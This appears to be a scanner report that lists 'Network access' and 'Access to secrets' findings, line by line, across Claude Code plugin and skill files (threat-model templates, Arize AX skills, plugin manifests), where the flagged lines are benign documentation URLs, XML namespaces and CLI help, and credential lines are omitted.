    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 193
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 194
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 195
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 196
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 197
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration |
  • Network accessline 256
    | **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or
  • Network accessline 257
    | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) |
  • Network accessline 258
    | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |

harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-findings.md

  • Network accessline 23
    | SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): 
  • Network accessline 24
    | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam
  • Network accessline 25
    | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] |
  • Network accessline 84
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 85
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 86
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 128
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 129
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 130
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |

harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/tmt-element-taxonomy.md

  • Network accessline 67
    | TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 68
    |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 69
    | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 70
    | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 124
    | Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
  • Network accessline 125
    |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` |
  • Network accessline 126
    | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |

harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/verification-checklist.md

  • Network accessline 29
    - [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`,
  • Network accessline 30
    - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E
  • Network accessline 31
    - [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`)
  • Network accessline 170
    - [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp
  • Network accessline 171
    - [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row
  • Network accessline 177
    - [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve
  • Network accessline 178
    - [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`

harness/claude-code/plugins/application-security/skills/tm7-threat-model/SKILL.md

  • Network accessline 62
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  • Network accessline 79
    | Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 80
    |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 81
    | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 82
    | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 83
    | `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) |
  • Network accessline 84
    | `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections |
  • Network accessline 85
    | `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties |
  • Network accessline 86
    | `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values |
  • Network accessline 152
    <b:DisplayName>Name</b:DisplayName>         <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 153
    <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>       </a:anyType>
  • Network accessline 154
    <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 311
    8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`,    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 312
    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream
  • Network accessline 313
    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 362
    - [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration.
  • Network accessline 372
    - [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model)
  • Network accessline 373
    - [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts)
  • Network accessline 374
    - [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase)
  • Network accessline 375
    - [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/)
  • Network accessline 376
    - [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays)
  • Network accessline 377
    - [XML Schema namespace](http://www.w3.org/2001/XMLSchema)
  • Network accessline 378
    - [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)

harness/claude-code/plugins/application-security/skills/tm7-threat-model/assets/example-minimal.tm7

  • Network accessline 1
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa

harness/claude-code/plugins/arcade-canvas/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Dan Wahlin",     "url": "https://github.com/DanWahlin"
  • Network accessline 6
    "name": "Dan Wahlin",     "url": "https://github.com/DanWahlin"   },
  • Network accessline 7
    "url": "https://github.com/DanWahlin"

harness/claude-code/plugins/arch/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/arize-ax/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Arize AI"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/arize-ax/skills/arize-ai-provider-integration/SKILL.md

  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]
  • Network accessline 115
    | `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I
  • Network accessline 116
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Network accessline 117
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 118
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Network accessline 137
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 139
    ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1"
  • Network accessline 154
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m
  • Network accessline 155
    | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use
  • Network accessline 156
    | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Network accessline 221
    - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 222
    - [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/)
  • Network accessline 223
    - [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models)
  • Network accessline 224
    - [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1)
  • Network accessline 225
    - [Updated endpoint example](https://new-endpoint.example.com/v1)

harness/claude-code/plugins/arize-ax/skills/arize-ai-provider-integration/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/arize-ax/skills/arize-annotation/SKILL.md

  • Network accessline 32
    - Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user
  • Network accessline 34
    - If the user needs an API key, direct them to https://app.arize.com/admin > API Keys.
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]
  • Network accessline 212
    | `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run 
  • Network accessline 213
    | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/
  • Network accessline 214
    | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |

harness/claude-code/plugins/arize-ax/skills/arize-annotation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/arize-ax/skills/arize-dataset/SKILL.md

  • Network accessline 45
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 46
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 47
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir

harness/claude-code/plugins/arize-ax/skills/arize-dataset/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/arize-ax/skills/arize-evaluator/SKILL.md

  • Network accessline 33
    | --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks
  • Network accessline 34
    | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct
  • Network accessline 35
    | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 91
    Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys
  • Network accessline 148
    - [Arize admin API keys](https://app.arize.com/admin)
  • Network accessline 149
    - [Arize support](https://arize.com/support)

harness/claude-code/plugins/arize-ax/skills/arize-evaluator/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/arize-ax/skills/arize-evaluator/references/evaluator-crud-workflows.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 423
    |---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
  • Network accessline 424
    | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` |
  • Network accessline 425
    | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |

harness/claude-code/plugins/arize-ax/skills/arize-experiment/SKILL.md

  • Network accessline 35
    | `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f
  • Network accessline 36
    | Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut
  • Network accessline 37
    | API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 127
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Network accessline 179
    | `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.
  • Network accessline 180
    | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil
  • Network accessline 181
    | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. |
  • Access to secretsline 209
    [Credential-related source omitted]
  • Network accessline 255
    - [Arize API keys](https://app.arize.com/admin)

harness/claude-code/plugins/arize-ax/skills/arize-experiment/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/arize-ax/skills/arize-instrumentation/SKILL.md

  • Network accessline 10
    Python and TypeScript/JavaScript apps use openinference-instrumentation packages for     auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference     spans. See https://arize.com/docs/PROMPT.md for setup de
  • Network accessline 11
    auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference     spans. See https://arize.com/docs/PROMPT.md for setup details.   version: 1.0
  • Network accessline 12
    spans. See https://arize.com/docs/PROMPT.md for setup details.
  • Network accessline 32
    Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T
  • Network accessline 38
    > Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed.
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 115
    The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs.
  • Network accessline 117
    - **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 118
    - **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in
  • Network accessline 119
    - **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/
  • Network accessline 120
    - **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia).
  • Network accessline 121
    - **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/
  • Network accessline 122
    - **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f
  • Network accessline 123
    - **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations).
  • Network accessline 125
    **Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed
  • Network accessline 138
    - TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package.    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry
  • Network accessline 139
    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i
  • Network accessline 140
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 141
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 142
    - Run `ax profiles show` to check for an existing profile.    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht
  • Network accessline 143
    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details.
  • Network accessline 144
    - If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new 
  • Access to secretsline 145
    [Credential-related source omitted]
  • Network accessline 277
    See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes.
  • Access to secretsline 292
    [Credential-related source omitted]
  • Network accessline 315
    "arize-ax-docs": {     "url": "https://arize.com/docs/mcp"
  • Network accessline 316
    "url": "https://arize.com/docs/mcp"
  • Network accessline 322
    See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant).
  • Network accessline 326
    | Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 327
    |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 328
    | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 329
    | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 330
    | Arize AX Docs | https://arize.com/docs/ax |
  • Network accessline 331
    | Full integration list | https://arize.com/docs/ax/integrations |
  • Network accessline 332
    | Doc index (llms.txt) | https://arize.com/docs/llms.txt |
  • Access to secretsline 342
    [Credential-related source omitted]
  • Access to secretsline 379
    [Credential-related source omitted]
  • Network accessline 387
    - [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant)
  • Network accessline 388
    - [Agent Setup Prompt](https://arize.com/docs/PROMPT.md)
  • Network accessline 389
    - [Arize AX Docs](https://arize.com/docs/ax)
  • Network accessline 390
    - [Full integration list](https://arize.com/docs/ax/integrations)
  • Network accessline 391
    - [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation)
  • Network accessline 392
    - [OpenInference](https://github.com/Arize-ai/openinference)
  • Network accessline 393
    - [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles)
  • Network accessline 394
    - [Arize app](https://app.arize.com)
  • Network accessline 395
    - [Doc index](https://arize.com/docs/llms.txt)
  • Network accessline 396
    - [Arize Docs MCP](https://arize.com/docs/mcp)
  • Network accessline 397
    - [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai)
  • Network accessline 398
    - [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic)
  • Network accessline 399
    - [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 400
    - [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai)
  • Network accessline 401
    - [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock)
  • Network accessline 402
    - [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama)
  • Network accessline 403
    - [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq)
  • Network accessline 404
    - [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai)
  • Network accessline 405
